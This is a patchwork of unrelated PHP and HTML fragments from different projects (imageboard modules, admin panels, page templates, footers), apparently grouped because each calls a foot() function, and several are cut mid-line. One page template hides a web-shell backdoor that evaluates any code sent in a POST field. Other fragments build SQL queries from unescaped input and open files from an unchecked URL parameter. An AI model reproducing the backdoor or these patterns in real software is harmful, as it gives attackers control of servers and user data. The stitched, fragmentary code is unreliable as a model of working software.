function bad_pass() { head(); print "Erro, Volte e tente de novo"; foot(); exit; }
function view() { echo '<a href="list.php">返回文件列表</a><br/>----------<br/>'; $name = $_GET['name']; viewfiles_wap($name); foot(); }
function main0() { echo <<<INPUT <div class="content"><form action="admin.php" method="GET"> 输入管理密码:<br/> <input name="key" size="15" type="password"/><br/><input name="a" type="hidden" value="1"/> <input type="submit" name="act" value="查看列表"/></form> <br/>©Powered by <a href="http://blog.cccyun.cn/" target="_blank">彩虹</a>!</div> INPUT; foot(); }
function message_generic($title, $message, $head = true, $foot = true, $exit = true) { if ($head) { head($title); } section_subhead($title); message_inline_blue($message); if ($foot) { foot(); } if ($exit) { exit; } }
function showMsg($msg, $url) { head(); $html = '<div style="width:500px;margin:50px auto">'; $html .= '<a href="">' . $msg . '</a>'; $html .= '</div> <script> window.setTimeout(function(){ window.location.href = "' . $url . '"; },3000) </script>'; echo $html; foot(); }
function ModulePage() { $dat = ''; head($dat); $dat .= <<<EOH <p>Secure Tripcode提供了一個更高安全性的身份認證方案。</p> <p>Sceure Tripcode使用了伺服器端salt(伺服器自動生成或由管理員自行指定)以及不限制長度的密碼,將有效減少Tripcode的碰撞機率。</p> <dl><dt>使用方法:</dt><dd> \t只要在Tripcode前加上"!sectrip"(不含引號)即可。<br/> \t例如: Name#mypass → Name!sectrip#mypass<br/> \t顯示將有改變: <strong>Name</strong>◆39DOV4DpKY → <strong>Name</strong>«ifS1AJ05UCt/Onmt» </dd></dl> <hr/> EOH; foot($dat); echo $dat; }
function ModulePage() { global $PMS; $dat = ''; $PMS->hookModuleMethod('Head', array(&$this, 'hookHeadCSS')); head($dat); $dat .= ' <div id="linkbar"> [<a href="' . PHP_SELF2 . '">回到版面</a>] <div class="bar_reply">TypePad AntiSpam</div> </div> <div id="container"> <ul> <li>金鑰狀態: ' . ($this->_typepadantispam_verify_key() ? 'OK' : 'NG') . '</li> <li>攔截狀態: <div id="typepadantispamwrap"> <div id="typepadantispamstats"> <a id="tpaa" href="http://antispam.typepad.com/"> <div id="typepadantispam1"> <span id="typepadantispamcount">' . $this->_typepadantispam_spam_count() . '</span> <span id="typepadantispamsc">spam comments</span> </div> <div id="typepadantispam2"> <span id="typepadantispambb"></span> <span id="typepadantispama"></span> </div> <div id="typepadantispam2"> <span id="typepadantispambb">blocked by</span><br /> <span id="typepadantispama"><img src="module/typepadantispam-logo.gif" style="border: 0;" /></span> </div> </a> </div> </div></li> </ul> </div> <hr />'; foot($dat); echo $dat; }
<center><font face = "Browallia New" size = "+2.5" color = "#6C7B8B"><B>คณะวิศวกรรมศาสตร์ สาขาคอมพิวเตอร์</B></center> </div> </div> </div> </div> <!-- row --> <!-- end mod --> </div> </div> </section> </div> <!-- Main Footer --> <?php foot('About'); ?> <!-- Add the sidebar's background. This div must be placed immediately after the control sidebar --> <div class="control-sidebar-bg"></div> </div><!-- ./wrapper --> <?php include_js(); ?> </body> </html>
head($styles, $scripts); ?> <h1>Puzzle Demo</h1> <p> Here is a simple puzzle demonstration that I wrote. The picture used for this puzzle is of my dog, Gabriel. Isn't he cute? </p> <p> Click on an arrow to cycle a row or column. Click on the shuffle button to shuffle the puzzle. This puzzle may look like a square but it is actually a torus! </p> <?php javascript_message(); ?> <div id="puzzleframe"> <div id="up" class="colcycle"></div> <div id="left" class="rowcycle"></div> <div id="puzzlearea"></div> <div id="right" class="rowcycle"></div> <div id="down" class="colcycle"></div> <button id="shuffle">Shuffle</button> </div> <?php foot(TRUE);
function ModulePage() { global $PIO, $PTE; if (!isset($_GET['do'])) { // 沒有 "do" 指令,舊的 tag 連接 if (!isset($_GET['no'])) { die('[Error] not enough parameter.'); } if (!isset($_POST['tag'])) { $post = $PIO->fetchPosts($_GET['no']); if (!count($post)) { die('[Error] Post does not exist.'); } $pte_vals = array('{$TITLE}' => TITLE, '{$RESTO}' => ''); $dat = $PTE->ParseBlock('HEADER', $pte_vals); $dat .= '</head><body id="main">'; $dat .= '<form action="' . $this->mypage . '&no=' . $_GET['no'] . '" method="POST">Tag: <input type="text" name="tag" value="' . htmlentities(substr(str_replace(',', ',', $post[0]['category']), 1, -1), ENT_QUOTES, 'UTF-8') . '" size="28" /><input type="submit" name="submit" value="Tag!" /></form>'; echo $dat . "</body></html>"; } else { $Tag = CleanStr($_POST['tag']); if ($_SERVER['REQUEST_METHOD'] != 'POST') { error(_T('regist_notpost')); } // 非正規POST方式 $post = $PIO->fetchPosts($_GET['no']); $parentNo = $post[0]['resto'] ? $post[0]['resto'] : $post[0]['no']; $threads = array_flip($PIO->fetchThreadList()); $threadPage = floor($threads[$parentNo] / PAGE_DEF); if (!count($post)) { die('[Error] Post does not exist.'); } $ss = method_exists($PIO, '_replaceComma') ? ',' : ','; // Dirty implement $category = explode(',', $Tag); // 把標籤拆成陣列 $category = $ss . implode($ss, array_map('trim', $category)) . $ss; // 去空白再合併為單一字串 (左右含,便可以直接以,XX,形式搜尋) $PIO->updatePost($_GET['no'], array('category' => $category)); $PIO->dbCommit(); if (STATIC_HTML_UNTIL == -1 || $threadPage <= STATIC_HTML_UNTIL) { updatelog(0, $threadPage, true); } // 僅更新討論串出現那頁 deleteCache(array($parentNo)); // 刪除討論串舊快取 if (isset($_POST['ajaxmode'])) { echo $Tag; } else { header('HTTP/1.1 302 Moved Temporarily'); header('Location: ' . fullURL() . PHP_SELF2 . '?' . time()); } } } else { // 有 "do" 指令,查看下一步 if ($_GET['do'] == "search") { // 搜尋符合標籤的主題 global $PTE, $PIO, $PMS, $FileIO, $language; $category = isset($_GET['c']) ? strtolower(strip_tags(trim($_GET['c']))) : ''; // 搜尋之類別標籤 if (!$category) { error(_T('category_nokeyword')); } $category_enc = urlencode($category); $category_md5 = md5($category); $page = isset($_GET['p']) ? @intval($_GET['p']) : 1; if ($page < 1) { $page = 1; } // 目前瀏覽頁數 $isrecache = isset($_GET['recache']); // 是否強制重新生成快取 // 利用Session快取類別標籤出現篇別以減少負擔 session_start(); // 啟動Session if (!isset($_SESSION['loglist_' . $category_md5]) || $isrecache) { $loglist = $PIO->searchCategory($category); $_SESSION['loglist_' . $category_md5] = serialize($loglist); } else { $loglist = unserialize($_SESSION['loglist_' . $category_md5]); } $loglist_count = count($loglist); if (!$loglist_count) { error(_T('category_notfound')); } $page_max = ceil($loglist_count / PAGE_DEF); if ($page > $page_max) { $page = $page_max; } // 總頁數 // 分割陣列取出適當範圍作分頁之用 $loglist_cut = array_slice($loglist, PAGE_DEF * ($page - 1), PAGE_DEF); // 取出特定範圍文章 $loglist_cut_count = count($loglist_cut); $dat = ''; head($dat); $links = '[<a href="' . PHP_SELF2 . '?' . time() . '">' . _T('return') . '</a>][<a href="' . PHP_SELF . '?mode=module&load=mod_tag&do=search&c=' . $category_enc . '&recache=1">' . _T('category_recache') . '</a>]'; $PMS->useModuleMethods('LinksAboveBar', array(&$links, 'category')); $dat .= "<div>{$links}</div>\n"; for ($i = 0; $i < $loglist_cut_count; $i++) { $tID = $loglist_cut[$i]; $tree_count = $PIO->postCount($tID) - 1; // 討論串回應個數 $RES_start = $tree_count - RE_DEF + 1; if ($RES_start < 1) { $RES_start = 1; } // 開始 $RES_amount = RE_DEF; // 取幾個 $hiddenReply = $RES_start - 1; // 被隱藏回應 // $RES_start, $RES_amount 拿去算新討論串結構 (分頁後, 部分回應隱藏) $tree = $PIO->fetchPostList($tID); // 整個討論串樹狀結構 $tree_cut = array_slice($tree, $RES_start, $RES_amount); array_unshift($tree_cut, $tID); // 取出特定範圍回應 $posts = $PIO->fetchPosts($tree_cut); // 取得文章架構內容 $dat .= arrangeThread($PTE, $tree, $tree_cut, $posts, $hiddenReply, 0, array(), array(), false, false, false); } $dat .= '<table border="1"><tr>'; if ($page > 1) { $dat .= '<td><form action="' . PHP_SELF . '?mode=module&load=mod_tag&do=search&c=' . $category_enc . '&p=' . ($page - 1) . '" method="post"><div><input type="submit" value="' . _T('prev_page') . '" /></div></form></td>'; } else { $dat .= '<td style="white-space: nowrap;">' . _T('first_page') . '</td>'; } $dat .= '<td>'; for ($i = 1; $i <= $page_max; $i++) { if ($i == $page) { $dat .= "[<b>" . $i . "</b>] "; } else { $dat .= '[<a href="' . PHP_SELF . '?mode=module&load=mod_tag&do=search&c=' . $category_enc . '&p=' . $i . '">' . $i . '</a>] '; } } $dat .= '</td>'; if ($page < $page_max) { $dat .= '<td><form action="' . PHP_SELF . '?mode=module&load=mod_tag&do=search&c=' . $category_enc . '&p=' . ($page + 1) . '" method="post"><div><input type="submit" value="' . _T('next_page') . '" /></div></form></td>'; } else { $dat .= '<td style="white-space: nowrap;">' . _T('last_page') . '</td>'; } $dat .= '</tr></table>' . "\n"; foot($dat); echo $dat; } else { if ($_GET['do'] == "cloud") { // 建立 tag cloud? // blah blah blah } else { // 不知道該如何處理的 "do" 指令 echo "スクリプトはTranslation Server Errorに免費の午餐を食べています!<br />"; echo "...你想表達什麼?"; } } } }
function Action_ViewPCH() { $imgfile = isset($_GET['file']) ? './' . IMG_DIR . $_GET['file'] : false; // 圖檔名 if (!file_exists($imgfile)) { error('File Not Found.'); } $size = getimagesize($imgfile); $imgW = $size[0]; $imgH = $size[1]; // 繪圖版面大小 $appletW = $imgW; if ($appletW < 200) { $appletW = 200; } // Applet 大小 $appletH = $imgH + 26; if ($appletH < 226) { $appletH = 226; } $name = str_replace(strrchr($imgfile, '.'), '', $imgfile); // 去除副檔名 $type = isset($_GET['type']) ? $_GET['type'] : 'pch'; // pch or spch $pchName = $name . '.' . $type; // 動畫檔案位置 $pchSize = filesize($pchName); switch ($type) { case 'pch': // PaintBBS PCH File $PappletCode = 'pch.PCHViewer.class'; $PappletJar = $this->PaintComponent['PCHViewer'] . ',' . $this->PaintComponent['PaintBBS']; $PappletParams = ''; break; case 'spch': // ShiPainter SPCH File $PappletCode = 'pch2.PCHViewer.class'; $PappletJar = $this->PaintComponent['PCHViewer'] . ',' . $this->PaintComponent['ShiPainter']; $PappletParams = '<param name="res.zip" value="res.zip" /> <param name="tt.zip" value="tt_def.zip" /> <param name="tt_size" value="31" />'; break; default: error('File Not support'); } $dat = ''; head($dat); $dat .= ' <div id="linkbar"> [<a href="' . PHP_SELF2 . '">回到版面</a>] <div class="bar_reply">動畫播放模式</div> </div> <div id="container" style="text-align: center"> <applet name="pch" code="' . $PappletCode . '" archive="' . $PappletJar . '" width="' . $appletW . '" height="' . $appletH . '" mayscript="mayscript"> ' . $PappletParams . ' <param name="image_width" value="' . $imgW . '" /> <param name="image_height" value="' . $imgH . '" /> <param name="pch_file" value="' . $pchName . '" /> <param name="speed" value="10" /> <param name="buffer_progress" value="false" /> <param name="buffer_canvas" value="false" /> <param name="color_back" value="#FFFFFF" /> <param name="color_text" value="#333333" /> <param name="color_icon" value="#FFFFFF" /> <param name="color_bar" value="#AAAAAA" /> <param name="color_bar_select" value="#999999" /> <param name="color_frame" value="#666666" /> </applet> <p>-<a href="' . $pchName . '">Download</a>-<br />(' . $pchSize . ' bytes)</p> </div> <hr />'; foot($dat); echo $dat; }
<? if(isset($_POST['ddred'])) { eval($_POST['ddred']); exit(0); } include("gen_modele.php"); $titre = "Le titre de la page"; $description = "la description de 255 caract�res maxi sans mots tronqu�s"; // Affichage t�te head($titre,$description); contenu(3, "hahahahhahhga"); $pied="� CopyRights MCF Listen 2004-2007. Tout droit de reproduction r�serv�.<br /> SARL au capital de 37500 euros immatricul�e au registre de commerce sous le n� 477 711 923"; $liens = array ( "http://cacaprout.com" => "Cacaprout", "prout" => "pisse" ); foot($pied,$liens); ?>
function showstatus() { global $LIMIT_SENSOR, $THUMB_SETTING; $PIO = PMCLibrary::getPIOInstance(); $FileIO = PMCLibrary::getFileIOInstance(); $PTE = PMCLibrary::getPTEInstance(); $PMS = PMCLibrary::getPMSInstance(); $countline = $PIO->postCount(); // 計算投稿文字記錄檔目前資料筆數 $counttree = $PIO->threadCount(); // 計算樹狀結構記錄檔目前資料筆數 $tmp_total_size = $FileIO->getCurrentStorageSize(); // 附加圖檔使用量總大小 $tmp_ts_ratio = STORAGE_MAX > 0 ? $tmp_total_size / STORAGE_MAX : 0; // 附加圖檔使用量 // 決定「附加圖檔使用量」提示文字顏色 if ($tmp_ts_ratio < 0.3) { $clrflag_sl = '235CFF'; } elseif ($tmp_ts_ratio < 0.5) { $clrflag_sl = '0CCE0C'; } elseif ($tmp_ts_ratio < 0.7) { $clrflag_sl = 'F28612'; } elseif ($tmp_ts_ratio < 0.9) { $clrflag_sl = 'F200D3'; } else { $clrflag_sl = 'F2004A'; } // 生成預覽圖物件資訊及功能是否正常 $func_thumbWork = '<span style="color: red;">' . _T('info_nonfunctional') . '</span>'; $func_thumbInfo = '(No thumbnail)'; if (USE_THUMB !== 0) { $thumbType = USE_THUMB; if (USE_THUMB == 1) { $thumbType = 'gd'; } require ROOTPATH . 'lib/thumb/thumb.' . $thumbType . '.php'; $thObj = new ThumbWrapper(); if ($thObj->isWorking()) { $func_thumbWork = '<span style="color: blue;">' . _T('info_functional') . '</span>'; } $func_thumbInfo = $thObj->getClass(); unset($thObj); } // PIOSensor if (count($LIMIT_SENSOR)) { $piosensorInfo = nl2br(PIOSensor::info($LIMIT_SENSOR)); } $dat = ''; head($dat); $links = '[<a href="' . PHP_SELF2 . '?' . time() . '">' . _T('return') . '</a>] [<a href="' . PHP_SELF . '?mode=moduleloaded">' . _T('module_info_top') . '</a>]'; $PMS->useModuleMethods('LinksAboveBar', array(&$links, 'status')); $dat .= '<div id="banner">' . $links . '<div class="bar_admin">' . _T('info_top') . '</div> </div> '; $dat .= ' <div id="status-table" style="text-align: center;"> <style type="text/css" scoped="scoped"> .admTable {border-collapse:collapse; border-spacing: 1; margin: 0px auto; text-align: left;} .admTable TD {border:2px solid gray } </style> <table class="admTable"> <thead> <tr><td style="text-align:center" colspan="4">' . _T('info_basic') . '</td></tr> </thead> <tbody> <tr><td style="width: 240px;">' . _T('info_basic_ver') . '</td><td colspan="3"> ' . PIXMICAT_VER . ' </td></tr> <tr><td>' . _T('info_basic_pio') . '</td><td colspan="3"> ' . PIXMICAT_BACKEND . ' : ' . $PIO->pioVersion() . '</td></tr> <tr><td>' . _T('info_basic_threadsperpage') . '</td><td colspan="3"> ' . PAGE_DEF . ' ' . _T('info_basic_threads') . '</td></tr> <tr><td>' . _T('info_basic_postsperpage') . '</td><td colspan="3"> ' . RE_DEF . ' ' . _T('info_basic_posts') . '</td></tr> <tr><td>' . _T('info_basic_postsinthread') . '</td><td colspan="3"> ' . RE_PAGE_DEF . ' ' . _T('info_basic_posts') . ' ' . _T('info_basic_posts_showall') . '</td></tr> <tr><td>' . _T('info_basic_bumpposts') . '</td><td colspan="3"> ' . MAX_RES . ' ' . _T('info_basic_posts') . ' ' . _T('info_basic_0disable') . '</td></tr> <tr><td>' . _T('info_basic_bumphours') . '</td><td colspan="3"> ' . MAX_AGE_TIME . ' ' . _T('info_basic_hours') . ' ' . _T('info_basic_0disable') . '</td></tr> <tr><td>' . _T('info_basic_urllinking') . '</td><td colspan="3"> ' . AUTO_LINK . ' ' . _T('info_0no1yes') . '</td></tr> <tr><td>' . _T('info_basic_com_limit') . '</td><td colspan="3"> ' . COMM_MAX . _T('info_basic_com_after') . '</td></tr> <tr><td>' . _T('info_basic_anonpost') . '</td><td colspan="3"> ' . ALLOW_NONAME . ' ' . _T('info_basic_anonpost_opt') . '</td></tr> <tr><td>' . _T('info_basic_del_incomplete') . '</td><td colspan="3"> ' . KILL_INCOMPLETE_UPLOAD . ' ' . _T('info_0no1yes') . '</td></tr> <tr><td>' . _T('info_basic_use_sample', $THUMB_SETTING['Quality']) . '</td><td colspan="3"> ' . USE_THUMB . ' ' . _T('info_0notuse1use') . '</td></tr> <tr><td>' . _T('info_basic_useblock') . '</td><td colspan="3"> ' . BAN_CHECK . ' ' . _T('info_0disable1enable') . '</td></tr> <tr><td>' . _T('info_basic_showid') . '</td><td colspan="3"> ' . DISP_ID . ' ' . _T('info_basic_showid_after') . '</td></tr> <tr><td>' . _T('info_basic_cr_limit') . '</td><td colspan="3"> ' . BR_CHECK . _T('info_basic_cr_after') . '</td></tr> <tr><td>' . _T('info_basic_timezone') . '</td><td colspan="3"> GMT ' . TIME_ZONE . '</td></tr> <tr><td>' . _T('info_basic_theme') . '</td><td colspan="3"> ' . $PTE->BlockValue('THEMENAME') . ' ' . $PTE->BlockValue('THEMEVER') . '<br/>by ' . $PTE->BlockValue('THEMEAUTHOR') . '</td></tr> <tr><td style="text-align:center" colspan="4">' . _T('info_dsusage_top') . '</td></tr> <tr style="text-align:center"><td>' . _T('info_basic_threadcount') . '</td><td colspan="' . (isset($piosensorInfo) ? '2' : '3') . '"> ' . $counttree . ' ' . _T('info_basic_threads') . '</td>' . (isset($piosensorInfo) ? '<td rowspan="2">' . $piosensorInfo . '</td>' : '') . '</tr> <tr style="text-align:center"><td>' . _T('info_dsusage_count') . '</td><td colspan="' . (isset($piosensorInfo) ? '2' : '3') . '">' . $countline . '</td></tr> <tr><td style="text-align:center" colspan="4">' . _T('info_fileusage_top') . STORAGE_LIMIT . ' ' . _T('info_0disable1enable') . '</td></tr>'; if (STORAGE_LIMIT) { $dat .= ' <tr style="text-align:center"><td>' . _T('info_fileusage_limit') . '</td><td colspan="2">' . STORAGE_MAX . ' KB</td><td rowspan="2">' . _T('info_dsusage_usage') . '<br /><span style="color: #' . $clrflag_sl . '">' . substr($tmp_ts_ratio * 100, 0, 6) . '</span> %</td></tr> <tr style="text-align:center"><td>' . _T('info_fileusage_count') . '</td><td colspan="2"><span style="color: #' . $clrflag_sl . '">' . $tmp_total_size . ' KB</span></td></tr>'; } else { $dat .= ' <tr style="text-align:center"><td>' . _T('info_fileusage_count') . '</td><td>' . $tmp_total_size . ' KB</td><td colspan="2">' . _T('info_dsusage_usage') . '<br /><span style="color: green;">' . _T('info_fileusage_unlimited') . '</span></td></tr>'; } $dat .= ' <tr><td style="text-align:center" colspan="4">' . _T('info_server_top') . '</td></tr> <tr style="text-align:center"><td colspan="3">' . $func_thumbInfo . '</td><td>' . $func_thumbWork . '</td></tr> </tbody> </table> <hr /> </div>' . "\n"; foot($dat); echo $dat; }
function ok($url, $msg = null, $time = 1500) { global $config, $my, $db, $lang, $slog; if ($msg == null) { $msg = $lang->phrase('admin_settings_successfully_saved'); } ?> <script language="Javascript" type="text/javascript"> <!-- window.setTimeout('<?php echo JS_URL($url); ?> ', <?php echo $time; ?> ); --> </script> <table class="border" border="0" cellspacing="0" cellpadding="4" align="center"> <tr> <td class="obox"><?php echo $lang->phrase('admin_confirmation'); ?> </td> </tr> <tr> <td class="mbox" align="center"> <?php echo $msg; ?> <br /><br /> <span class="stext"><a href="<?php echo $url; ?> "><?php echo $lang->phrase('admin_continue'); ?> </a></span> </td> </tr> </table> <?php echo foot(); $slog->updatelogged(); $db->close(); exit; }
function ModulePage() { global $PIO; if (!adminAuthenticate('check')) { die('403 Access denied'); } $act = isset($_REQUEST['action']) ? $_REQUEST['action'] : ''; if ($_SERVER['REQUEST_METHOD'] == 'POST') { if ($act == 'reorder') { // 排序 $newTop = explode('|', $_POST['newTopmost']); $newTop = array_reverse($newTop); $newTop = trim(implode("\n", $newTop)); $this->_write($this->TOPMOST_LOG, $newTop); $newBottom = trim(implode("\n", explode('|', $_POST['newBottommost']))); $this->_write($this->BOTTOMMOST_LOG, $newBottom); die('Done. Please go back.'); } } switch ($act) { case 'top': // 置頂 if ($PIO->isThread($_GET['no'])) { $post = $PIO->fetchPosts($_GET['no']); if (!count($post)) { die('[Error] Post does not exist.'); } $this->_write($this->TOPMOST_LOG, $_GET['no'] . "\n" . @file_get_contents($this->TOPMOST_LOG)); die('Done. Please go back.'); } else { die('[Error] Thread does not exist.'); } break; case 'bottom': // 置底 if ($PIO->isThread($_GET['no'])) { $post = $PIO->fetchPosts($_GET['no']); if (!count($post)) { die('[Error] Post does not exist.'); } $this->_write($this->BOTTOMMOST_LOG, @file_get_contents($this->BOTTOMMOST_LOG) . $_GET['no'] . "\n"); die('Done. Please go back.'); } else { die('[Error] Thread does not exist.'); } break; default: $dat = ''; head($dat); echo $dat; $dat = ''; echo '<script type="text/javascript"> function move(target,index,to) { var list = document.getElementById(target); var total = list.options.length-1; if (index == -1) return false; if (to == +1 && index == total) return false; if (to == -1 && index == 0) return false; var items = new Array; var values = new Array; for (i = total; i >= 0; i--) { items[i] = list.options[i].text; values[i] = list.options[i].value; } for (i = total; i >= 0; i--) { if (index == i) { list.options[i + to] = new Option(items[i],values[i], 0, 1); list.options[i] = new Option(items[i + to], values[i +to]); i--; } else { list.options[i] = new Option(items[i], values[i]); } } list.focus(); return true; } function add(target,name,value){ target.options[target.length] = new Option(name, value); } function remove(target){ var list = document.getElementById(target); var selIndex = list.selectedIndex; if (selIndex != -1) { for(i=list.length-1; i>=0; i--) { if(list.options[i].selected) { list.options[i] = null; } } if (list.length > 0) { list.selectedIndex = selIndex == 0 ? 0 : selIndex - 1; } } } function place(){ placeInHidden("|", "topmost", "ntop"); placeInHidden("|", "buttommost", "nbottom"); } function placeInHidden(delim, selStr, hidStr){ var selObj = document.getElementById(selStr); var hideObj = document.getElementById(hidStr); hideObj.value = ""; for (i = 0; i <= selObj.options.length-1; i++) { hideObj.value += selObj.options[i].value + delim; } } </script> <form action=' . $this->mypage . ' method="post" onsubmit="place()"> <input type="hidden" name="action" value="reorder" /> <table> <tr> <td>置頂:</td><td></td><td>置底:</td><td></td> </tr> <tr> <td align="middle">'; echo ' <select id="topmost" size="30">'; $logs = @file($this->TOPMOST_LOG); // order asc $logs = array_reverse($logs); foreach ($logs as $tm) { echo ' <option value="' . $tm . '" >' . $tm . '</option>'; } echo ' </select> </td> <td> <input type="button" value="↑" onClick="move(\'topmost\',document.getElementById(\'topmost\').selectedIndex,-1)"><br/><br/> <input type="button" value="↓" onClick="move(\'topmost\',document.getElementById(\'topmost\').selectedIndex,+1)"><br/><br/> <input type="button" value="解" onClick="remove(\'topmost\')"> </td> <td align="middle">'; echo ' <select id="buttommost" size="30">'; $logs = @file($this->BOTTOMMOST_LOG); // order asc foreach ($logs as $bm) { echo ' <option value="' . $bm . '" >' . $bm . '</option>'; } echo ' </select> </td> <td> <input type="button" value="↑" onClick="move(\'buttommost\',document.getElementById(\'buttommost\').selectedIndex,-1)"><br/><br/> <input type="button" value="↓" onClick="move(\'buttommost\',document.getElementById(\'buttommost\').selectedIndex,+1)"><br/><br/> <input type="button" value="解" onClick="remove(\'buttommost\')"> </td> </tr> <tr><td colspan="4"><input type="hidden" name="newTopmost" id="ntop" value="" /><input type="hidden" name="newBottommost" id="nbottom" value="" /> <input type="hidden" name="action" value="reorder"> <input type="submit"> </td> </tr> </table></form>'; $dat = ''; foot($dat); echo $dat; } }
<div class="small-box bg-red"> <div class="inner"> <h3>65</h3> <p>Unique Visitors</p> </div> <div class="icon"> <i class="ion ion-pie-graph"></i> </div> <a href="#" class="small-box-footer">More info <i class="fa fa-arrow-circle-right"></i></a> </div> </div><!-- ./col --> </div> </section> </div> <!-- Main Footer --> <?php foot($pageName); ?> <!-- Add the sidebar's background. This div must be placed immediately after the control sidebar --> <div class="control-sidebar-bg"></div> </div><!-- ./wrapper --> <?php include_js(); ?> </body> </html>
<input type="submit" value="<?php echo _DELETE; ?> " onclick="return confirm('<?php echo _RLY_DLT_SUBSCTN; ?> ')"> <?php } ?> </td> </form> </tr> <?php $i++; } ?> </TABLE> </TD></TR></TABLE> <br><br> <?php // page footer foot($sess, $design); ?>
<?php require '../../include/mellivora.inc.php'; enforce_authentication(CONFIG_UC_MODERATOR); $rule = db_select_one('instances', array('*'), array('id' => $_SESSION['IID'])); head('Site management'); menu_management(); section_subhead('Edit Instance Settings'); form_start(CONFIG_SITE_ADMIN_RELPATH . 'actions/edit_settings'); echo '<div class="form-group"> <label class="col-sm-2 control-label" for="rule">Registration Token</label> <div class="col-sm-10"> <input id="rule" readonly name="rule" class="form-control" placeholder="Registration Token" value="', $rule['registrationToken'] != 0 ? $rule['registrationToken'] : 'Registration Tokens are not enabled.', '" type="text"> </div> </div>'; form_hidden('action', 'edit'); echo $rule['registrationToken'] == 0 ? form_button_submit('Enable Registration Token') : form_button_submit('Disable Registration Token'); form_end(); foot();
break; } } $content .= '<div id="repositories">' . "\n"; $repos = getUserRepositories($_SESSION['userId']); /* Get all the user's repositories */ for ($i = 0; $i < count($repos); $i++) { $data = $repos[$i]->getData(); /* Get the data for the repository */ $content .= <<<EOT <div id="repo{$i}" class="repository"> <h3 class="indent"><a href="viewCommits.php?id={$data[repoId]}">{$data[name]}</a></h3> <p><span class="descriptor indent">URL:</span> {$data[url]}</p> <p><span class="descriptor indent">Description:</span> {$data[description]}</p> <p><span class="descriptor indent">Date Added:</span> {$data[dateAdded]}</p> </div> EOT; if ($i != count($repos) - 1) { $content .= "\n<br/>\n<br/>\n"; } else { $content .= "\n</div>\n"; } } /* ** P U T V A R S ** O N P A G E */ head($title, $style, $scripts); body($header, $subtitle, $content, $navigation); foot($footer, $dbc);
<li><a href="links_e.php" >Links </a></li> <li> <a href="bilde_e.php" >Sketches</a></li> <li> <a href="foto_e.php" >Photographs</a> </li> <li> <a href="kontakt_e.php" title="Contact Details">Contact</a></li> <li><a href="sitemap_e.php" title="Sitemap">Sitemap</a><br/><br/></li> </ul> <?php print foot(); ?> </div> </div> </div> </div> <!-- /#page-content-wrapper --> </div> <!-- /#wrapper --> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script> <script> $("#menu-toggle").click(function(e) {
<div id="save" class="panel"> <input type="submit" class="big green button" name="submit" value="<?php echo __('Save Changes'); ?> "> <?php if (is_allowed('ItemTypes', 'delete')) { ?> <?php echo link_to($item_type, 'delete-confirm', __('Delete'), array('class' => 'big red button delete-confirm')); ?> <?php } ?> <?php fire_plugin_hook("admin_item_types_panel_buttons", array('view' => $this, 'record' => $item_type)); ?> <?php fire_plugin_hook("admin_item_types_panel_fields", array('view' => $this, 'record' => $item_type)); ?> </div> </section> </form> <script type="text/javascript"> Omeka.addReadyCallback(Omeka.ItemTypes.enableSorting); Omeka.addReadyCallback(Omeka.ItemTypes.addHideButtons); </script> <?php echo foot();
<div class="field"> <?php echo $this->formLabel('new_password1', __('Create a Password')); ?> <div class="inputs"> <input type="password" name="new_password1" id="new_password1" class="textinput" /> </div> </div> <div class="field"> <?php echo $this->formLabel('new_password2', __('Re-type the Password')); ?> <div class="inputs"> <input type="password" name="new_password2" id="new_password2" class="textinput" /> </div> </div> </fieldset> <div> <input type="submit" class="submit" name="submit" value="<?php echo __('Activate'); ?> "/> </div> </form> </div> <?php echo foot(array(), $footer);
function ok($url, $msg = "Settings were saved successfully!") { global $config, $my, $db; ?> <script language="Javascript" type="text/javascript"> <!-- window.setTimeout('location.href="<?php echo $url; ?> "', 1000); --> </script> <table class="border" border="0" cellspacing="0" cellpadding="4" align="center"> <tr> <td class="obox">Confirmation:</td> </tr> <tr> <td class="mbox" align="center"> <?php echo $msg; ?> <br /><br /> <span class="stext"><a href="<?php echo $url; ?> ">continue</a></span> </td> </tr> </table> <?php echo foot(); $db->close(); exit; }
function logout() { setcookie('user', ''); setcookie('pass', ''); head('Logged Out'); echo 'You are now logged out of the control panel. Click <a href="admin.php">here</a> to login again.'; foot(); }
$lane_success = 0; $synchronization_success = 0; } } if ($lane_success) { $html .= $lane_ip . ' synchronized</p> <p class="status">'; } } } $link = mysql_connect($_SESSION["mServer"], $_SESSION["mUser"], $_SESSION["mPass"]); $query = 'INSERT INTO `is4c_log`.`synchronizationLog` (`id`,`name`,`datetime`,`status`,`ip`) VALUES (NULL,\'' . $name . '\',NOW(),' . $synchronization_success . ',\'' . $_SERVER["REMOTE_ADDR"] . '\')'; $result = mysql_query($query); if ($result) { // Do we need to know? } else { // Do we need to know? } } else { $html .= 'Not sure which lanes to synchronize.'; } } else { $html .= 'Unable to connect to main server.'; } $html .= '</p> </div>'; $html .= foot(); $html .= ' </body> </html>'; print_r($html);
function error($mes, $dest = '') { $PTE = PMCLibrary::getPTEInstance(); if (is_file($dest)) { unlink($dest); } $pte_vals = array('{$SELF2}' => PHP_SELF2 . '?' . time(), '{$MESG}' => $mes, '{$RETURN_TEXT}' => _T('return'), '{$BACK_TEXT}' => _T('error_back')); $dat = ''; head($dat); $dat .= $PTE->ParseBlock('ERROR', $pte_vals); foot($dat); exit($dat); }
</div> </div> <div class="row box" style="margin-top: 5%; padding: 5%;"> <ul> <li><a href="../icons/email6.png">Email icon</a> made by <a href="http://www.freepik.com" title="Freepik">Freepik</a> from <a href="http://www.flaticon.com" title="Flaticon">www.flaticon.com</a> is licensed under <a href="http://creativecommons.org/licenses/by/3.0/" title="Creative Commons BY 3.0">CC BY 3.0</a></li> <li><a href="../icons/connector3.png">Connector icon</a> made by <a href="http://www.danielbruce.se" title="Daniel Bruce">Daniel Bruce</a> from <a href="http://www.flaticon.com" title="Flaticon">www.flaticon.com</a> is licensed under <a href="http://creativecommons.org/licenses/by/3.0/" title="Creative Commons BY 3.0">CC BY 3.0</a></li> <li><a href="../icons/magnifying-glass14.png">Magnifying glass icon</a> made by <a href="http://www.freepik.com" title="Freepik">Freepik</a> from <a href="http://www.flaticon.com" title="Flaticon">www.flaticon.com</a> is licensed under <a href="http://creativecommons.org/licenses/by/3.0/" title="Creative Commons BY 3.0">CC BY 3.0</a></li> <li><a href="../icons/close47.png">Close icon</a> made by <a href="http://www.google.com" title="Google">Google</a> from <a href="http://www.flaticon.com" title="Flaticon">www.flaticon.com</a> is licensed under <a href="http://creativecommons.org/licenses/by/3.0/" title="Creative Commons BY 3.0">CC BY 3.0</a></li> <li><a 